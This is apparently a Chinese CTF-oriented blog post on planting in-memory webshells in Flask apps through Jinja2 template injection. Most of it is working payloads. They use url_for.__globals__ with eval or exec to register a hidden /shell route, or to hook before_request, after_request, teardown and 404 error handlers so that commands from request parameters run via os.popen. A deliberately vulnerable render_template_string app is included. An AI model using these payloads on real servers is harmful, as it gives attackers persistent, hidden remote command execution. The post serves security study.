flask内存马
# flask内存马
最近遇到一些flask命令执行的题目,在既没有回显,又不能出网的情况下,内存马成了一个好的选择。
在flask中,没有定义的路由会返回404的,因此内存马最初是通过动态注册路由来实现的,新版的flask已经不允许动态注册路由了,现在也有一些新的姿势实现
# 低版本flask内存马
分析低版本payload
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
这里使用了flask的内置函数url_for
,通过url_for.__globals__
获取到全局变量,然后通过__builtins__
获取到内置函数eval
,在eval函数里使用add_url_rule
动态的创建了一个/shell
的路由,在这个路由下通过定义匿名函数导入了os
模块,然后执行了os.popen
函数,接收一个cmd
参数,默认值为whoami
,最后返回执行结果。
格式化成易读的形式
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
})
2
3
4
5
6
7
8
9
10
11
eval函数里的第二个参数是一个字典, 给eval 函数提供一个自定义的全局命名空间
_request_ctx_stack
:使eval函数可以获取flask请求的参数,状态app
:使eval函数可以调用应用的功能,比如注册路由、访问配置,这里用来调用 add_url_rule 方法,以动态添加新的路由
注意
后文多次需要引入url_for.__globals__
的变量request
、app
,在需要传参利用时很重要,否则在匿名函数收不到参数
部分flask版本下无法使用url_for.globals['current_app']来获取app,可以sys.modules,通过url_for.__globals__['sys'].modules['__main__'].__dict__['app']
来获取app
低版本flask复现环境(windows)
演示的flask环境
pip install Flask==1.1.1 itsdangerous==1.1.0 Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/',methods=['GET','POST'])
def home():
return render_template_string(request.args.get('name','hello,world!'))
if __name__ == '__main__':
app.run()
2
3
4
5
6
7
8
9
成功打入内存马
尝试在linux环境下复现时鸡飞狗跳,没有配好就不掩饰了
# 新版内存马
flask常用的装饰器route
、before_request
、after_request
、errorhandler
、login_required
在禁止动态注册路由的情况下,可以使用flask的特殊装饰器before_request
、after_request
、errorhandler
处理特定的请求方法,在每次请求之前执行代码,从而实现内存马的效果
# before_request
跟着去before_request
装饰器源码里看定义
@setupmethod
def before_request(self, f: BeforeRequestCallable) -> BeforeRequestCallable:
"""
在每次请求之前,调用自定义的函数f
"""
self.before_request_funcs.setdefault(None, []).append(f)
return f
2
3
4
5
6
7
在这里,如果 None 键不存在,就初始化为一个空列表。如果存在传入的函数 f,则通过调用before_request_funcs.setdefault(None, []).append(f)
函数把自定义函数f添加到before_request_funcs 字典中,在每次请求处理之前调用这个函数
重点:通过调用before_request_funcs.setdefault(None, []).append(f)
函数添加了自定义函数
如果可以打入自定义的后门函数,那么每次请求前都会触发来执行命令
lambda :__import__('os').popen('whoami').read()
内存马payload
{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")}}&a=whoami
通过动态导入 sys 模块,获取当前 Flask 应用实例 app,并将一个匿名函数添加到 app 的请求前处理函数列表中,利用before_request
装饰器触发自定义后门函数执行命令
# after_request
after_request:如果处理逻辑没有异常抛出,在每次请求后运行
after_request
装饰器在每次请求处理之后调用,同样可以接收一个自定义函数f,区别在,这里的函数需要接收一个response对象,同时返回一个response对象
定义
@setupmethod
def after_request(self, f: AfterRequestCallable) -> AfterRequestCallable:
"""注册一个函数,在每次请求后运行。
该函数会接收响应对象,并必须返回一个响应对象。这允许函数在发送响应之前修改或替换响应。
如果一个函数引发异常,则任何剩余的 ``after_request`` 函数将不会被调用。因此,这不应用于必须执行的操作,例如关闭资源。请使用 :meth:`teardown_request` 来处理此类操作。
"""
self.after_request_funcs.setdefault(None, []).append(f)
return f
2
3
4
5
6
7
8
9
10
仅通过lambda无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response
函数内容为:
lambda resp: #传入参数
CmdResp if request.args.get('cmd') and #如果请求参数含有cmd则返回命令执行结果
exec('
global CmdResp; #定义一个全局变量,方便获取
CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) #创建一个响应对象
')==None #exec函数返回None,所以恒真
else resp) #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务
2
3
4
5
6
7
8
提示
在
before_request
中,request
和app
是在请求上下文中自动可用的。这是因为before_request
钩子在处理请求时就会被调用,此时 Flask 已经设置好了请求上下文。因此,可以直接使用request
和app
after_request
的上下文是在响应生成后,需要显式传递request
和app
这些变量来确保它们在函数中可用。这样,before_request 和 after_request 的行为差异源于它们被调用的上下文和时间
在这里可以知道,after_request
需要显示手动导入request
和app
变量这些{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']}
payload:
{{url_for.__globals__.__builtins__['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}&cmd=whoami
# teardown_request
teardown_request:在每次请求后运行,即使处理发生了错误
定义:
@setupmethod
def teardown_request(self, f: TeardownCallable) -> TeardownCallable:
self.teardown_request_funcs.setdefault(None, []).append(f)
return f
2
3
4
与after_request
类似,teardown_request
装饰器在每次请求处理之后调用,同样可以接收一个自定义函数f,在后台运行,没有回显,可以写文件,出网反弹shell
{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())")}}&cmd=echo 11111 > 1.txt
# teardown_appcontext
teardown_appcontext:在每次请求后运行,即使处理发生了错误
定义:
@setupmethod
def teardown_appcontext(self, f: TeardownCallable) -> TeardownCallable:
self.teardown_appcontext_funcs.append(f)
return f
2
3
4
不能动态接收get参数,可以利用写文件,出网反弹shell
payload:
{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen('echo 2222 > 1.txt').read())")}}
# errorhandler
errorhandler:处理指定的异常
errorhandler
装饰器用于处理指定的异常,可以接收一个异常类型或HTTP状态码作为参数,并返回一个处理函数。这个处理函数会在发生指定异常或HTTP状态码时被调用,HTTP状态码例如200
、400
、403
、404
、500
,errorhandler可以定义这些状态码的回显
如果定义404
页面的回显,那么随便访问未定义/不存在的路由都会触发这个回显
定义:
@setupmethod
def errorhandler(
self, code_or_exception: t.Union[t.Type[Exception], int]
) -> t.Callable[["ErrorHandlerCallable"], "ErrorHandlerCallable"]:
"""注册一个函数以处理按代码或异常类的错误。
一个装饰器,用于注册给定错误代码的函数。例如:
@app.errorhandler(404)
def page_not_found(error):
return '此页面不存在', 404
你也可以注册任意异常的处理程序:
@app.errorhandler(DatabaseError)
def special_exception_handler(error):
return '数据库连接失败', 500
"""
def decorator(f: "ErrorHandlerCallable") -> "ErrorHandlerCallable":
self.register_error_handler(code_or_exception, f)
return f
return decorator
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
跟进register_error_handler
函数:
def register_error_handler(
self,
code_or_exception: t.Union[t.Type[Exception], int],
f: "ErrorHandlerCallable",
) -> None:
if isinstance(code_or_exception, HTTPException): # old broken behavior
raise ValueError(
"Tried to register a handler for an exception instance"
f" {code_or_exception!r}. Handlers can only be"
" registered for exception classes or HTTP error codes."
)
try:
exc_class, code = self._get_exc_class_and_code(code_or_exception)
except KeyError:
raise KeyError(
f"'{code_or_exception}' is not a recognized HTTP error"
" code. Use a subclass of HTTPException with that code"
" instead."
) from None
self.error_handler_spec[None][code][exc_class] = f
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
在最后的代码,code即是前面传来的错误码,exc_class是异常类,f是页面回显内容。通过exec函数执行命令,把结果赋值给f回显到错误页面
exc_class, code = self._get_exc_class_and_code(code_or_exception)
self.error_handler_spec[None][code][exc_class] = f
2
payload:
{{ url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}}
参考、致谢:
- 浅析flask内存马 (opens new window)
- 新版FLASK下python内存马的研究 (opens new window)
- python-Flask内存马 (opens new window)
- Python Flask内存马的另辟途径 (opens new window)
- 浅析Python Flask内存马 (opens new window)
- Flask中四个好用的装饰器 (opens new window)
- flask中的常用装饰器 (opens new window)
- Python Flask常见的请求钩子函数 (opens new window)
- python-Flask内存马 (opens new window)